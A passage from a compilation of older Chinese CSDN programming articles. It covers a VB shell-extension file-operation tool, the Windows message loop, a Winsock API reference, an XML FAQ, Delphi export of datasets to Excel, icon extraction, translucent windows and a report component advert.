Dim hFileHandle As Long
Dim TextLine As String

Command1.Caption = "拷贝"
Command2.Caption = "移动"
Command3.Caption = "删除"
Command1.Enabled = False
Command2.Enabled = False
Command3.Enabled = False

'sFile接受由Windows外壳扩展库contextmenu.dll传递过来的文件参数
sFile = Command$
hFileHandle = FreeFile
Open sFile For Input As hFileHandle
Do While Not EOF(hFileHandle)
Line Input #1, TextLine
If Dir$(TextLine) <> "" Then
List1.AddItem TextLine
End If
Loop
Close hFileHandle
End Sub

Private Sub Form_Unload(Cancel As Integer)
If Dir$(sFile) <> "" Then
Kill sFile
End If
End Sub

Private Sub List1_Click()
If Not Command1.Enabled Then
Command1.Enabled = True
Command2.Enabled = True
Command3.Enabled = True
End If
End Sub
保存文件并将工程文件编译为FileOP.exe文件，将文件拷贝到C盘根目录下。然后注册contextmenu.dll，注册的方法是，在DOS窗口中进入Windows\system子目录，输入 Regsvr32 x:\xxxxx\contextmenu.dll 。其中x:\xxxxx\为Contextmenu.dll文件所在的驱动器和目录。如果注册成功，系统会弹出对话框，显示 DllRegisterServer in ..\xxx\contextmenu.dll Success 提示注册成功。
注册成功后，再选择文件并单击右键，就会发现在弹出菜单中多了一个“执行文件操作”的菜单项，点击该项，系统就会调用FileOP.exe执行文件操作，在窗口的列表框中会出现用户选择的文件名，点击相应的文件并点击“拷贝”、“移动”或“删除”按钮就可以对列表框中的选中的文件进行相应的操作。


CSDN_文档中心_Windows消息机制初谈

Windows系统是一个消息驱动的OS，什么是消息呢？我很难说得清楚，也很难下一个定义（谁在嘘我），我下面从不同的几个方面讲解一下，希望大家看了后有一点了解。
1、消息的组成：一个消息由一个消息名称（UINT），和两个参数（WPARAM，LPARAM）。当用户进行了输入或是窗口的状态发生改变时系统都会发送消息到某一个窗口。例如当菜单转中之后会有WM_COMMAND消息发送，WPARAM的高字中（HIWORD(wParam)）是命令的ID号，对菜单来讲就是菜单ID。当然用户也可以定义自己的消息名称，也可以利用自定义消息来发送通知和传送数据。
2、谁将收到消息：一个消息必须由一个窗口接收。在窗口的过程（WNDPROC）中可以对消息进行分析，对自己感兴趣的消息进行处理。例如你希望对菜单选择进行处理那么你可以定义对WM_COMMAND进行处理的代码，如果希望在窗口中进行图形输出就必须对WM_PAINT进行处理。
3、未处理的消息到那里去了：M$为窗口编写了默认的窗口过程，这个窗口过程将负责处理那些你不处理消息。正因为有了这个默认窗口过程我们才可以利用Windows的窗口进行开发而不必过多关注窗口各种消息的处理。例如窗口在被拖动时会有很多消息发送，而我们都可以不予理睬让系统自己去处理。
4、窗口句柄：说到消息就不能不说窗口句柄，系统通过窗口句柄来在整个系统中唯一标识一个窗口，发送一个消息时必须指定一个窗口句柄表明该消息由那个窗口接收。而每个窗口都会有自己的窗口过程，所以用户的输入就会被正确的处理。例如有两个窗口共用一个窗口过程代码，你在窗口一上按下鼠标时消息就会通过窗口一的句柄被发送到窗口一而不是窗口二。
5、示例：下面有一段伪代码演示如何在窗口过程中处理消息
LONG yourWndProc(HWND hWnd,UINT uMessageType,WPARAM wP,LPARAM)
{
switch(uMessageType)
{//使用SWITCH语句将各种消息分开
case(WM_PAINT):
doYourWindow(...);//在窗口需要重新绘制时进行输出
break;
case(WM_LBUTTONDOWN):
doYourWork(...);//在鼠标左键被按下时进行处理
break;
default:
callDefaultWndProc(...);//对于其它情况就让系统自己处理
break;
}
}
接下来谈谈什么是消息机制：系统将会维护一个或多个消息队列，所有产生的消息都回被放入或是插入队列中。系统会在队列中取出每一条消息，根据消息的接收句柄而将该消息发送给拥有该窗口的程序的消息循环。每一个运行的程序都有自己的消息循环，在循环中得到属于自己的消息并根据接收窗口的句柄调用相应的窗口过程。而在没有消息时消息循环就将控制权交给系统所以Windows可以同时进行多个任务。下面的伪代码演示了消息循环的用法：
while(1)
{
id=getMessage(...);
if(id == quit)
break;
translateMessage(...);
}
当该程序没有消息通知时getMessage就不会返回，也就不会占用系统的CPU时间。 图示消息投递模式
在16位的系统中系统中只有一个消息队列，所以系统必须等待当前任务处理消息后才可以发送下一消息到相应程序，如果一个程序陷如死循环或是耗时操作时系统就会得不到控制权。这种多任务系统也就称为协同式的多任务系统。Windows3.X就是这种系统。
而32位的系统中每一运行的程序都会有一个消息队列，所以系统可以在多个消息队列中转换而不必等待当前程序完成消息处理就可以得到控制权。这种多任务系统就称为抢先式的多任务系统。Windows95/NT就是这种系统。


CSDN_文档中心_winsock 函数简介

1、WSAStartup函数
用于初始化Winsock
[声明]
int WSAStarup(WORD wVersionRequested,LPWSADATA lpWSAData);
[参数]
wVersionRequested - 要求使用Winsock的最低版本号
lpWSAData - Winsock的详细资料
[返回值]
当函数成功调用时返回0
失败时返回非0的值

2、socket函数
用于生成socket(soket Descriptor)
[声明]
SOCKET socket（int af,int type,int protocol）;
[参数]
af - 地址家族(通常使用:AF_INET)
type - socket的种类
SOCK_STREAM : 用于TCP协议
SOCK_DGRAM : 用于UDP协议
protocol - 所使用的协议
[返回值]
当函数成功调用时返回一个新的SOCKET(Socket Descriptor)
失败时返回INVALID_SOCKET.

3、inet_addr函数
把好象"xxx.xxx.xxx.xxx"的10进制的IP地址转换为32位整数表示方法
[声明]
unsigned long inet_addr ( const char FAR *cp );
[参数]
cp - 指向用"xxx.xxx.xxx.xxx"的10进制来表示的IP地址字符串的指针
[返回值]
当函数成功调用时返回用32位整数表示的IP地址(按网络字节排列顺序)
失败时返回INADDR_NONE.

4、gethostbyname函数
可以从主机名获取主机资料.
[声明]
struct hostent FAR * gethostbyname ( const char FAR *name );
[参数]
name - 指向主机名字符串的指针
[返回值]
当函数成功调用时返回主机信息
失败时返回NULL(空值)

5、Bind函数
指定本地IP地址所使用的端口号时候使用
[声明]
int bind ( SOCKET s , const struct sockaddr FAR *addr , int namelen );
[参数]
s - 指向用Socket函数生成的Socket Descriptor
addr - 指向Socket地址的指针
namelen - 该地址的长度.
[返回值]
当函数成功调用时返回0
调用失败时返回 SOCKET_ERROR

6、connect函数
用于与服务器建立连接,发出连接请求,必须在参数中指定服务器的IP地址和端口号
[声明]
int connect (SOCKET s , const struct sockaddr FAR *name , int namelen );
[参数]
s - 指向用Socket函数生成的Socket Descriptor
name - 指向服务器地址的指针
namelen - 该地址的长度.
[返回值]
当函数成功调用时返回0
调用失败时返回 SOCKET_ERROR

7、select函数
可以用于调查一个或多个SOCKET的状态.
[声明]
int select ( int nfds , fd_set FAR *readfds , fd_set FAR *writefds , fd_set FAR *exceptfds , const struct timeval FAR *timeout );
[参数]
nfds - 在WINDOWS SOCKET API 中该参数可以忽略,通常赋予NILL值
readfds - 由于接受的SOCKET设备的指针
writefds - 用于发送数据的SOCKET设备的指针
exceptfds - 检查错误的状态
timeout - 超时设定
[返回值]
返回大于0的值时,表示与条件相符的SOCKET数
返回0表示超时
失败时返回SOCKET_ERROR

8、recv函数
利用Socket进行接受数据.
[声明]
int recv ( SOCKET s , char FAR *buf , int len , int flags );
[参数]
s - 指向用Socket函数生成的Socket Descriptor
buf - 接受数据的缓冲区(数组)的指针
len - 缓冲区的大小
flag - 调用方式(MSG_PEEK 或 MSG_OOB)
[返回值]
成功时返回收到的字节数.
如果连接被中断则返回0
失败时返回 SOCKET_ERROR

9、sendto函数
利用Socket进行发送数据.
[声明]
int sendto ( SOCKET s , const char FAR *buf , int len , int flags , const struct sockaddr FAR *to , int token );
[参数]
s - 指向用Socket函数生成的Socket Descriptor
buf - 接受数据的缓冲区(数组)的指针
len - 缓冲区的大小
flag - 调用方式(MSG_DONTROUTE , MSG_OOB)
to - 指向发送方SOCKET地址的指针
token - 发送方SOCKET地址的大小
[返回值]
成功时返回已经发送的字节数.
失败时返回SOCKET_ERROR


CSDN_文档中心_XML的热点问题

这些日子,几乎每个人都在谈论XML (Extensible Markup Language)，但是很
少有人真正理解其含义。XML的推崇者认为它能够解决所有HTML不能解决的问题，让
数据在不同的操作系统或应用之间进行灵活交换。确实，所有的观察家们都同意XML
将引发一场内容发布和知识交换的革命。谁先进入这个领域，谁就能够大获其利。

    这里的20个有关XML的热门问题能够让你成为一XML“专家”，或至少让你能够在
今后看准XML的发展方向。

1.什么是XML?

    XML开发者会告诉你XML不是一种语言,而是一个定义其他语言的系统. 你可能已
经听说过, 或使用过这些语言中的一种,--如Microsoft支持"推技术" 的 Channel
Definition Format (CDF).

    正从事于XML相关建议工作的W3C, 称XML为"表达数据中结构 的共同语法". 结构
化的数据指的是其内容,意义或应用被标记的数据. 例如, HTML中< H1>标记指定文本
为某一字体和大小, XML的标记将明确确定信息的种类: < BYLINE>标记可以识别文档
的作者, < PRICE>标记可以在一个存货清单中包含某一项目的成本 .

    通过将结构,内容和表现分离, 同一个XML源文档只写一次, 可以用不同的方法表
现出来: 在计算机屏幕上, 在手提电话显示屏上, 在为盲人服务的设备上翻译成语
音, 等等. 它可以在可能开发的任何通讯产品上工作. 一个XML文档因此可以比其书
写时的作者和显示技术生存得更久.

    所以, XML将不仅限于Internet, 例如, 可以服务于整个出版业, 特别是对于想
制作可出现在多种媒体上的文档的人. 一些使用Standard Generalized Markup
Language (SGML)多年的大型文档出版商将转向XML. 还有, 独立于平台的XML是为
Web开发的, 这是它将最具影响的地方.

    DOM
    XML在Web的真正实力在于它是如何与Document Object Model (DOM)交互的.
DOM是定义访问文档中数据的机制的界面.

    使用DOM, 程序员可以用一个标准的方法写动态的内容. 换句话说, 他们可以使
用它来使浏览器文档树中的一部分特定内容按照一定的方式表现, 例如, 产生一个小
效果, 当用户将鼠标移至文字上时, 这些文字变成蓝色. Netscape Navigator 和
Microsoft Internet Explorer 都有他们各自的DOM ,但是他们都称将在其下一版
本的浏览器中支持W3C 的标准DOM.

2.XML何以重要?

    Web领袖之间的说法是内容至上.不幸地, 内容经常和其表现紧密结合. 请问你多
少次在一个网站上遇到一个小小的提示, "最好在800x600像素的分辨率上显示"?

    XML将帮助解决以上问题, 因为网站建造者不用再指明在哪里显示什么, 而是指
明文档 的结构. 例如, 你可以说明文档的标题, 作者, 关联文档的清单, 等等. 然
后, 任何一个有XML浏览器的设备都可以给出最适合它的文档版本, 这样的设备可以
是一个掌上型计算机, 置顶盒, 或高速的工作站.

    但是, 也许XML的最佳特性是其内在的可扩展性. 公司和组织能够扩展XML来满足
新的挑战和应用. 一个基于XML的语言已经在使用--微软的Channel Definition
Format (CDF)-- 还有更多将出现, 包括 Resource Definition Format (RDF)
和 Open Software Description (OSD).

    XML 也允诺成为交换数据和文档的标准机制. 例如, XML可能成为不同厂商的数
据库在Internet上交换信息的一种方法.现在准确地决定XML的方向还有一些早. 但
是, 其各种可能性是令人敬畏的,这就是为什么围绕着XML有如此多的激动的一个重要
原因.

3.SGML、HTML和XML有什么联系？

    Standard Generalized Markup Language (SGML) 是在文字处理应用中表达
数据的一个方法. 它已经出现十多年了, XML 和 HTML 都是从SGML 发展而来的文
档形式. 因此, 它们都有一些共同点, 如相似的语法和带括弧的标记符的使用. 但
是 HTML 是SGML的一个应用, 而 XML是SGML的一个子集.

    区别是重要的. 基本上HTML不能用来定义新的应用, 而XML可以. 例如,
Resource Description Format (RDF) 和 Channel Description Format (CDF)
都是使用XML定义的应用. XML和HTML更象表兄弟, 而不是亲兄弟.

    事实上, XML和SGML是兼容的 -- XML文档可以通过任何SGML制作或浏览工具阅
读. 但是, XML没有SGML那么复杂, 它是设计用于有限带宽的网络的, 如Internet.
XML规范的合作者Tim Bray说, XML的设计出发点是取SGML的优点, 去除复杂的部
分, 使其保持轻巧, 可以在Web上工作.

    HTML,SGML和XML将继续用于其合适的地方, 它们中的任何一个不会使其他一个
废弃. HTML仍是在Web上快速出版数据的最简单的方法, 大部分短期的数据, 如会议
议程或广告宣传册. 如果数据会长期使用, 并且需要更多的一些结构, Web建造者将
愿意使用XML. 不同于HTML和XML, SGML可能永远不会在Internet上被广泛接受, 因
为它从来没有为某个网络协议的需求而设计或优化过. 对于高端的, 复杂结构的出
版应用, SGML将继续适用.

4.如何实现XML?

    XML将以几个不同的方式应用. 一个是在人机之间交换数据, 如从Web服务器至
用户的浏览器. 另外一个是在不同的应用之间交换数据, 或者是机器之间交换数据.

    在这些情况下, 你都可能需要三层架构: 后端数据库, 针对数据的处理逻辑的中
间层服务器, 以及数据进一步显示和处理的客户端. 数据库可以从多个数据来源接收
信息, 可能已经是XML格式的数据. 中间层然后聚拢数据并在最终的表现层上公布.

    现在, 网页有时候以这种方法传送 --CNET的NEWS.COM 从一个数据库中发表数
据. 但是要获得一页的新的视图, 如NEWS.COM的新的“打印机友好”选项, 服务器
必须产生一个新的页面. 一份适当格式化的XML文档将允许客户端的应用为不同的媒
体修改文档的表现形式, 比如为打印机.

5.什么是DTD?

    文档类型定义 (DTD) 是一套关于标记符的语法规则. 它告诉你可以在文档中使
用哪些标记符, 它们应该按什么次序出现, 哪些标记符可以出现于其它标记符中,
哪些标记符有属性, 等等. DTD原来是为使用SGML开发的, 它可以是XML文档的一
部分, 但是它通常是一份单独的文档或者一系列文档

    因为XML本身 不是一种语言, 而是定义语言的一个系统, 它没有象HTML 一样
拥有一个通用的DTD. 相反, 想使用XML进行数据交换的工业或组织可以定义它们自
己的DTD.

    如果一个组织想用XML来标识仅在内部使用的文档, 它可以创造自己私有的DTD.
比如 Wall Street Journal Interactive Edition 拥有一个 DTD 来详细说明每
一版, 其中有关于页, 文章, 概要, 标题下署名等等的信息. 刊物目前使用SGML
DTD (称作Dow Jones Markup Language), 但是它也正在开发一个XML版本.

    关于DTD并不是没有争议的. 一些人感到它给商业业务增加了实实在在的价值,
而一些人感觉它限制了创造性. 还有一些人认为DTD有用, 但是还做得不够. 微软正
尝试用它的XML数据提议来解决上一个抱怨, 但是批评者说这些改进应该在DTD规范
本身进行.

    微软的schema
    一些供应商, 包括微软, 已经提议了替代DTD的一个方法, 称为schema. 他们
已经将其以XML数据提交给了W3C. 就象DTD, schema提供了文档的规则, 并指出用
什么标记符, 标记符的属性, 之间的联系, 等等.

    但是, 不同于DTD, schema可以定义数据类型. 例如, DTD可能有一个标记
符 , 而标记符之间的内容可以是数字或字符串. Schema 可以规定只输入数字.

    这个方法显然有其优点, 特别是用于应用,对象,或数据库之间的数据传输. 唯
一的问题是它将成为DTD规范, 还是XML的一个扩展.

6.什么是格式完整和有效的文件?

    基本上有两类相关的XML文档: 构造良好的和有效的. 构造良好的 XML文档遵守
XML语法的一般规则, 这些规则比HTML和SGML的更为严格. XML的字符数据决不会吊
在那里, 没有某种结束标识符, 或者是象< MYTAG>< /MYTAG> 成对出现的 结束标
识符, 或者是一个特别的在右尖括弧前带有一个斜杠的 空元素 标记, 比如
< MYTAG/>; XML 标识总是以左尖括弧或 & 开始; 元素类型和属性名称是大小写区分的; 属性需要引号; 等等.

    有效的 XML 文档遵守某个特定的 文档类型定义 (DTD). 确认XML文档正确性的
工作主要由制作出版工具承担, 而XML浏览器为读取XML文档, 只需要检查其构造的良
好性. 这样, 制作工具中的解析器得要检查构造良好性 和 有效性, 而浏览器仅要考
虑寻找已经构造良好的XML.

7 如何在浏览器中阅读XML?

    阅读XML文档的工具一般称为XML解析器, 虽然其更正式的名称是XML处理器. XML
处理器将数据传送到应用软件, 以做制作, 出版, 查询, 或显示. XML不给应用软件
提供 应用程序接口 (API), 它只是把数据传给应用软件. XML处理器不解析非构造良
好的数据. Netscape 和 Microsoft 都已经将XML解析器包含在其浏览器中, 或正计划将其包含到浏览器中.

    XML开发者团体提供免费的XML阅读器和解析器, 来应用到应用软件或XML制作软
件:

    Textuality的 Lark, 来自XML规范的作者之一.
    Microstar Software的 ?lfred, 一个基于Java的解析器.
    DataChannel的 DXP, 前身为著名的NXP, 或已经增加了API的Norbert的
(Mikula) XML 解析器.

8 RDF和XML有何联系?

    如果XML是说语言的能力, XML应用软件则是特定的语言. 资源描述格式
(Resource Description Format RDF) 是这样的一个应用软件: 使用XML语法的
数据建模语言.

    RDF是描述和访问数据的一个方法. 这意味着RDF是关于数据的数据, 或者说元
数据. 在Web中, 这些元数据将被用于建立标准的站点地图, 更精确的搜索结果,
和分层次的主题索引.

    RDF也允许智能书签, 当被索引的网页变化时,书签随之发生变化. 如果你跟踪
内容定期更新的站点, 比如CNET的 NEWS.COM, 将很有用.

    对于网站建造者, 建立可被搜索引擎引用的其网站内容的元数据并不困难. 我
们很快就会有商业化的软件, 来自动产生给定站点的RDF文件.

    XML元数据也将活跃描述和评估数据的市场. 有许多评级机构 在网上出现, 他
们评估一切数据, 从保护孩子安全的站点到最佳电影或葡萄酒站点. RDF描述评级
机构可以使用的等级的语法. 人们将选择有他们感觉最合适的词汇表的评级机构,
词汇表指的是评级机构给不同类型内容评级使用的特别的一套术语 -- 从性和暴力
到葡萄酒酸度.

9 Netscape浏览器中如何实现XML?

    Netscape将在Communicator/Navigator 5.0中以一个代号为Aurora的交付部
件来支持XML元数据. Aurora利用RDF 来获得Netscape所说的"桌面信息全面集成."

    Aurora在网络, 桌面和数据库之间查找和管理信息. 它将在桌面上以"窗口"菜单
的界面出现, 会聚集指向当前项目, 研究主题, 或日常活动等资源的指针. RDF使
Aurora的导航条指向不同数据类型(文字处理文档, 表格数据, 电子邮件消息, 数据
库内容)的本地文件, 也指向Internet 或 intranet 服务器上的资源(搜索和查询的
结果, 书签链接, 等等).

    一个读取RDF的XML解析器将是 Netscape 5.0 版浏览器的一部分, 并且在最终
产品交付之前会出现在某个beta版本中. 除了这个初始的RDF实现, Netscape正计划
将一个通用的XML解析器包含在浏览器中, 而其浏览器可以和其他的XML应用软件一起
工作, 比如 Shakespeare markup (一个早期的 XML 应用软件), Chemical
Markup Language (CML), 和 MathML, 一个正成为W3C推荐的数学标识语言.

    "我们要使 Navigator 成为一个 XML 平台," Netscape 原理工程师R.V. Guha
说. Guha 原来开发过 MCF (MetaContent Format), MCF 后来加入了RDF规范.

10 Microsoft浏览器中如何实现XML?

    微软的 Internet Explorer 4.0 是第一个实现XML的 Web浏览器. 微软提供了
一对XML处理器: 浏览器所携带的用C++写的解析器, 和一个Web建造者可以从中下载
和加入他们自己的应用程序的Java解析器的源代码.

    Java解析器是一个有效的 解析器, 就是说它根据一个文档类型定义 (DTD) 或
schema 来进行检查. 为了提高性能, 浏览器所带的C++ 版的解析器是一个非有效的
解析器.

    据微软的产品经理Steve Sklepowich称, 这两个解析器都是"通用的", 因为它
们不依靠特定的XML应用, 如Channel Definition Format. 由于XML数据和其表现
分离, 在一个Web浏览器本身实际显示XML的能力需要 style sheet, 例如 XSL
(Extensible Style Language).

    同时, 微软使用了它所称的XML Data Source Object, 或叫 XML DSO. 它应用
了动态 HTML的数据捆绑能力, 将一端的XML数据和另一端的HTML数据相链接. (关于
数据捆绑的例子, 可以查看 BUILDER.COM 的 Browser Play ground.) IE 4.0 访
问XML文档, 从中查询数据, 然后作为HTML显示出来.

    微软也使用了 XML Object Model (XML OM)来让开发者与浏览器中的XML数据
进行交互. 它的实现是通过将HTML作为基于Document Object Model (DOM)的对象
显现, 尽管HTML 和 DOM 并非直接兼容. DOM 让脚本和程序访问结构化的XML数据.

    Sklepowich说, 虽然目前在微软, XML的重心在浏览器, XML将最终出现在"任何
HTML已经出现了的地方". CEO Bill Gates 已经公开宣布微软Office 未来的版本将
支持 XML, 而且公司也计划支持电子邮件包和制作XML工具的标准.


CSDN_文档中心_把数据集保存为Excel格式的一个实现

经常看到有人问如何把Delphi中的数据集导入Excel中，这里提供了一个实现。

在做项目时，很多情况下，客户需要对程序中数据集再加工，再利用，如报表。
这时，就需要把DataSet导入到一个客户比较熟悉的格式中去。Excel是首选了。

该程序在Delphi4,5下编译通过，已被用在多个项目中。还被集成在笔者所写的一个小组件TDBNavigateButton中

{-------------------------------------------------------------------------------------------------
单元：uExcelTools
作者： Bear
功能：保存数据集，如TTable,TQuery,TClientDataSet等为Excel文件，
包含标题，可以只将一部分字段导出
这一点通过设置DataSet中要不导出字段的Tag值大于某一个值来处理
原理：调用 Microsoft Excel Ole对象
调用方式：
Function DataSetToExcel(
DataSet:TDataSet;FieldTagMax:Integer;
Visible:Boolean;ExcelFileName:String=''): Boolean;
--------------------------------------------------------------------------------------------------}

unit UExcelTools;

interface

uses
classes, comctrls, stdctrls, windows, Dialogs, controls, SysUtils,
Db,forms,DBClient,ComObj;

//把数据集导入ExcelSheet的核心函数
function DataSetToExcelSheet
(
DataSet :TDataSet;
FieldTagMax :Integer; // 字段的Tag值如果大于这个值，就不导出到Excel
Sheet :OleVariant
): Boolean;

//实际使用的函数，内部调用了DataSetToExcelSheet，在外面加入UI接口和错误处理
function DataSetToExcel
(
DataSet :TDataSet; // 要转换的数据集
FieldTagMax :Integer; // 字段的Tag值如果大于这个值，就不导出到Excel
Visible :Boolean; // 是否让做转换工作的Excel可见
ExcelFileName:String='' // Excel文件名，*.xls
): Boolean;

implementation

Function DataSetToExcelSheet(DataSet:TDataSet;FieldTagMax:Integer;Sheet:OleVariant): Boolean;
var
Row,Col,FieldIndex :Integer;
BK:TBookMark;
begin
Result := False;
if not Dataset.Active then exit;
BK:=DataSet.GetBookMark;
DataSet.DisableControls;

Sheet.Activate;
try

// 列标题
Row:=1;
Col:=1;
for FieldIndex:=0 to DataSet.FieldCount-1 do
begin
if DataSet.Fields[FieldIndex].Tag <= FieldTagMax then
begin
Sheet.Cells(Row,Col) :=DataSet.Fields[FieldIndex].DisplayLabel;
Inc(Col);
end;
end;
// 表内容
DataSet.First;
while Not DataSet.Eof do
begin
Row:=Row+1;
Col:=1;
for FieldIndex:=0 to DataSet.FieldCount-1 do
begin
if DataSet.Fields[FieldIndex].Tag <= FieldTagMax then
begin
Sheet.Cells(Row,Col):=DataSet.Fields[FieldIndex].AsString;
Inc(Col);
end;
end;
DataSet.Next;
end;

Result := True;
finally
DataSet.GotoBookMark(BK);
DataSet.EnableControls;
end;

end;
Function DataSetToExcel(
DataSet:TDataSet;FieldTagMax:Integer;
Visible:Boolean;ExcelFileName:String=''): Boolean;
var
ExcelObj, Excel, WorkBook, Sheet: OleVariant;
OldCursor:TCursor;
SaveDialog:TSaveDialog;
begin
Result := False;
if not Dataset.Active then exit;

OldCursor:=Screen.Cursor;
Screen.Cursor:=crHourGlass;

try
ExcelObj := CreateOleObject('Excel.Sheet');
Excel := ExcelObj.Application;
Excel.Visible := Visible ;
WorkBook := Excel.Workbooks.Add ;
Sheet:= WorkBook.Sheets[1];
except
MessageBox(GetActiveWindow,'无法调用Mircorsoft Excel! '+chr(13)+chr(10)+
'请检查是否安装了Mircorsoft Excel。','提示',MB_OK+MB_ICONINFORMATION);
Screen.Cursor:=OldCursor;
Exit;
end;

Result:=DataSetToExcelSheet(DataSet,FieldTagMax,Sheet) ;
if Result then
if Not Visible then
begin
if ExcelFileName<>''
then WorkBook.SaveAs(FileName:=ExcelFileName)
else begin
SaveDialog:=TSaveDialog.Create(Nil);
SaveDialog.Filter := 'Microsoft Excel 文件|*.xls';
Result:=SaveDialog.Execute;
UpdateWindow(GetActiveWindow);
if Result then
WorkBook.SaveAs(FileName:=SaveDialog.FileName);
SaveDialog.Free;
end;
Excel.Quit;
end;
Screen.Cursor:=OldCursor;
end;

end.


CSDN_文档中心_把图标存储在SHELL32.DLL

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,shellapi,Dialogs;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
DesktopIcon: TimageList; // 做一个你喜欢的图象列表
implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
Var Ico: TIcon;
Sfi: Tshfileinfo;
I : Integer;
begin

//分配一个句柄给图象列表

DesktopIcon:= TImageList.Create(Self);
DesktopIcon.Handle := SHGetFileInfo('', 0, sfi, SizeOf(TSHFileInfo),
shGFI_SYSICONINDEX or SHGFI_SMALLICON);
DesktopIcon.ShareImages := TRUE;
For I:=0 to DesktopIcon.count -1 do
Begin
Ico := Ticon.Create;
DesktopIcon.GetIcon(I,Ico);
Ico.SaveToFile('c:\icons\'+inttostr(i)+'.ico');
Ico.Free;
End;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Desktopicon.free;
end;

end.


CSDN_文档中心_半透明窗体的又一种想法

其实很简单，现有任一种方法制作一个透明窗体，我试过捕获屏幕、设置窗体Brush属性、以及通过Windows API函数改变三种制作透明窗体的方法都行。然后在窗体上添加一个Shape，将其扩展至全屏幕，将Shape的Pen属性的Mode设为PmMask,Pen的Style属性该为PsClean,然后改变Brush的Color属性，即可进行透明的调节，不仅可以改变透明度，而且可以改变覆盖的颜色。就享用Directx生成的效果。
其实巧用Delphi的Canvas类，可以是按许多图形效果。毕竟是用Windows2000的还是少数。


CSDN_文档中心_半透明窗体的制作

半透明窗体并不是Win2000的新特效，凡是用过金山词霸的同志都会发现在屏幕取词设置中有一个半透明背景的选项，这说明在Win98下是可以实现半透明窗口的。但我还是要首先谈谈在Win2000实现半透明窗体的新函数SetLayeredWindowAttributes。利用这个函数就可以轻松创建一个半透明窗体，但是利用这个函数的程序编译后在Win98下是无法运行的。 SetLayeredWindowAttributes API函数介绍如下： 函数功能：设置窗口透明颜色 参数：SetLayeredWindowAttributes( HWND hwnd, //窗口手柄 COLORREF crKey, //指定颜色值 BYTE bAlpha, //混合函数值 DWORD dwFlags //动作 参数解释： hwnd:窗口句柄。当使用CreateWindowEx函数创建窗口时，窗口由WS_EX_LAYERED指定的值创建；或者窗口已经创建后，由SetWindowLong根据WS_EX_LAYERED指定的值改变。 crKey:指向一个COLOR值，该值指定一个透明颜色值，当创建窗口时，窗口将使用该值。 bAlpha:混合函数值。该值用于描述窗口的不透明度。当bAlpha 值为0时，窗口完全透明，当bAlpha值为255时，窗口完全不透明。 dwFlags:指定动作。这个参数可以取一个或多个值。用它我们可以创建一个不规则的窗体。 SetLayeredWindowAttributes函数的API声明: SetLayeredWindowAttributes(hwnd: HWND; crKey: DWORD;bAlpha: BYTE; dwFlag: DWORD): Boolean; stdcall; ---------程序代码1： const WS_EX_LAYERED = $80000; LWA_COLORKEY = $1; LWA_ALPHA = $2; procedure TForm1.FormCreate(Sender: TObject); var l:longint; begin l :=getWindowLong(Handle, GWL_EXSTYLE); l := l Or WS_EX_LAYERED; SetWindowLong (handle, GWL_EXSTYLE, l); SetLayeredWindowAttributes(handle, 180, 120, LWA_ALPHA); end; 还有一些其它的常量定义如: AC_SRC_ALPHA = $1; AC_DST_NO_PREMULT_ALPHA = $10; ULW_COLORKEY = $1; ULW_ALPHA = $2; ULW_OPAQUE = $400; 等还要参看MSDN。有些我还没有搞明白，如果哪位同志知道的话，请告诉我。 那么在Win98下又是如何实现半透明窗体的呢?其基本原理是:在窗口显示前其获取背景图然后对背景图象进行滤镜效果处理再将处理过的背景图象显示在窗口前面。 有一种方法是:首先，做出一个透明窗体，然后在窗体上添加一个Shape，将其扩展至全屏幕，将Shape的Pen的Mode属性设为PmMask,Pen的Style属性设为PsClear,最后改变Brush的Color属性即可。 因为没有API支持，Win9x下只能模拟，效果不太好，就象金山词霸的取词窗口，背景改变而窗体上还是不变。但我们可以利用Timer控件来解决窗体的刷新率和时时更新的问题。 不过听说“金山词霸的半透明窗口效果只能在带MMX指令集的处理器中才起作用”不知是真是假，由于手头没有这样的电脑，还请同志们自己验证吧。


CSDN_文档中心_报表处理组件 BY DELPHI

本人倾精力，时间使用DELPHI开发了一套报表处理组件，适合各种软件系统复杂的
报表处理功能，尤其是其提供的报表编辑，打印预览及数据导入接口等功能可以迅
速满足客户提出的有关报表处理的各种需求。

1.设计原则：
1.1 由抽象到具体的类层次管理简化报表处理对象的复杂性。
1.2 报表编辑、原始数据导入到打印预览一体化处理流程。
1.3 灵活的数据访问接口，程序代码与报表设计无关。

2.主要功能：
2.1 类EXCEL的设计界面，提供多种可编辑对象，包括普通文本、公式计算、数据 导入等不同属性单元格，以及图形、图像、图表、文本框、数据视图、定制表
格等对象。
2.2 客户可以自由设计定制报告单格式，如普通式、彩色印刷式、图表一体式等。
2.3 美观的报表预览器，多种打印输出格式。

3.应用对象：
3.1 电网监控系统报表处理分系统（各种运行日报，月报，年报等）。
3.2 医院管理信息系统（各种统计分析报表）。
3.3 酒店管理信息系统（各种查询统计报表）。
3.4 检验管理系统（各种格式报告单）。

4.申明：
本人对本套组件拥有全部自主版权。

5.类树:

{ Forward declarations }
TGridCoordinate = class;
TGridCoordinates = class;

TCustomObject = class; {Abstract Class}
{1}
TActiveObject = class;
TActiveObjectClass = class of TActiveObject;
TGridCellObject = class;
TGridCellGroup = class;
//TDataViewParams = class
TDataView = class;
TDataTable = class;
TTileDataView = class;
TCascadeBand = class;
TCascadeBands = class;
TCascadeDataView = class;
TPlate = class;
TPlateClass = class of TPlate;
TChartPlate = class;
TImagePlate = class;
TTextPlate = class;

TActiveObjects = class;
TSelectedObjects = class;

{2}
TSparsePointerArray = class;
TSparseList = class;
TGridCellText = class;
TGridCellFrame = class;
TGridCell = class;
TGridCellClass = class of TGridCell;
TTextCell = class;
TDBCell = class;
TFormulaCell = class;
TRowCells = class;
TGridCells = class;

TGridCellEdit = class;

TSelectedCoord = class;
TSelectedCoords = class;
TTitleWindow = class;
TColumnWindow = class;
TRowWindow = class;
TClientWindow = class;

TTool = class;
{TSpreadsheetTool = class;}
TCoolScrollBar = class;
TCoolScrollControl = class;
TReportGrid = class;

欢迎公司或个人与我联系。
也希望各位同仁多多指教。
Email:lmis@sina.com。

6.附:

一个可以书写任意文本的Procedure，包括旋转字体。

TTextAlign = (taLeft,taRight,taHorzCenter,
taTop,taBottom,taVertCenter);
TTextAligns = set of TTextAlign;
TTextControl = (tcNormal,tcWordBreak,tcSelfAdapt,tcCalcRect);
TTextDirection = tdVertChinese..90;{Angles of text}

